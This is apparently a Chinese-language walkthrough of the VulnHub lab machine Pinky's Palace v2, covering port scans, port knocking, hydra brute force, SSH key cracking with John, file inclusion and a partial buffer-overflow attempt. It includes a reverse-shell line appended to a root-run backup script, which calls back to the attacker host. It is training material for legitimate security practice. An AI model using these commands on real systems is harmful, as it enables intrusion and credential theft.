VulnHub-Pinky’s Palace: v2 靶场渗透测试
时间:2021.4.8
靶场信息:
地址:https://www.vulnhub.com/entry/pinkys-palace-v2,229/
发布日期:2018年3月18日
目标:得到root权限&找到flag.txt
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测结果可知,靶机的IP为192.168.137.131
2、扫描开放的端口和服务
nmap -sS -sV -T5 -p- 192.168.137.131
得到开放的端口信息:
80/tcp open http Apache httpd 2.4.25 ((Debian))
4655/tcp filtered unknown
7654/tcp filtered unknown
31337/tcp filtered Elite
3、网站信息收集
浏览器访问80端口,发现解析不了,回过头看靶机的说明,提示要在hosts文件加上这条解析记录
那按要求输入命令即可
echo 192.168.137.131 pinkydb | sudo tee -a /etc/hosts
然后重新访问,即可正常显示了
易知该网站是用wordpress搭建的
所以就直接用wpscan扫描一下用户,发现pinky1337
wpscan --url http://pinkydb/ --enumerate u
然后使用gobuster爆破一下目录
gobuster dir -u http://pinkydb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.txt
发现wordpress目录,访问之后发现是一个全新的wordpres搭建过程,没什么用,再看看其他爆破得到的目录
发现secret目录,访问之后里面有一个bambam.txt,里面内容如下
里面应该是三个端口号,但前期我们通过nmap并没有探测到这三个端口,并且有几个端口都是filtered状态,所以猜测这里通过knock来开启其余三个端口。首先根据上述的3个数字进行排列组合,因为不知道是根据哪个顺序来判断的,所以使用Python脚本生成可能的序列
from itertools import combinations, permutations
print(list(permutations([8890,7000,666])))
然后编写shell脚本
#!/bin/bash
while read -r line
do
echo '---------------'
knock -v 192.168.137.131 $line
done < /tmp/knock.txt
运行shell脚本,然后再用nmap查看一下靶机的端口状态,4655、7654、31337端口都从filtered状态变成了open
二、漏洞探测
访问7654端口,得到一个登录页面
试了试弱口令,还有sqlmap都没用,这里应该是要爆破了,用户名猜测有admin、pinkydb、pinky1337,密码就用cewl生成的密码字典
cewl http://pinkydb/ -w /tmp/pass.txt
hydra -L user.txt -P pass.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid Username"
成功爆破出三个用户密码
login: pinky password: Passione
login: pinkydb password: Pinky
login: pinky1337 password: Blog
登录pinky用户的账号,发现了Stefano提供的RSA密钥让我们登录,下载到本地,然后试试可以不可以登录
发现要私钥密码才能登录,可以使用ssh2john将将密钥转换为可破解的哈希,使用John the Ripper破解这个哈希值,这样就可以破解私有ssh密钥的密码
python /usr/share/john/ssh2john.py /tmp/id_rsa > /tmp/crack_rsa
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/crack_rsa
得到私钥为secretz101,再ssh成功登录
在家目录下发现tools目录,里面有个note.txt文件,告诉我们Pinky给我做了这个程序让我容易发消息给他,查看了这个文件的权限发现只有执行权限,gdb和file工具都用不了,并且程序的所属组为www-data
三、漏洞利用
在登录进来的页面发现存在本地文件包含漏洞
那就试着读取一下qsub程序,发现了TERM环境变量
输入TERM环境变量的值,就会出现Welcome to Question Submit!,那么这里直接输入一个反弹shell
发现stefano_msg.txt,查看里面的内容没有有价值的东西
在/usr/local/bin目录下发现一个sh文件,该文件的所属组为pinky,当前用户所属组为stefano,使用newgrp进入pinky组中,查看sh文件内容,发现是将html目录进行打包,再将之前的压缩包删除
既然是用来备份用的,那么就将反弹shell脚本写到文件里,等运行时就可以获得demon用户的shell了
echo 'nc /bin/bash 192.168.137.150 7777' >> /usr/local/bin/backup.sh
查看进程信息,发现root用户运行了一个名为panel的程序
四、提权
将程序传到kali上,然后用gdb调试
在gdb上设置为跟随fork并保持它们的绑定
然后这边连接一下31337端口
echo $(python -c "print 'A'*500") | nc localhost 31337
可以看到段错误 0x00000000004009aa in handlecmd ()
现在就找一下溢出的边界值
后面就实在不会了...
可以参考:
总结
比上一个版本的靶机难度提升了很多,后面利用缓冲区溢出提权野是薄弱的地方,还得多补补这方面的知识。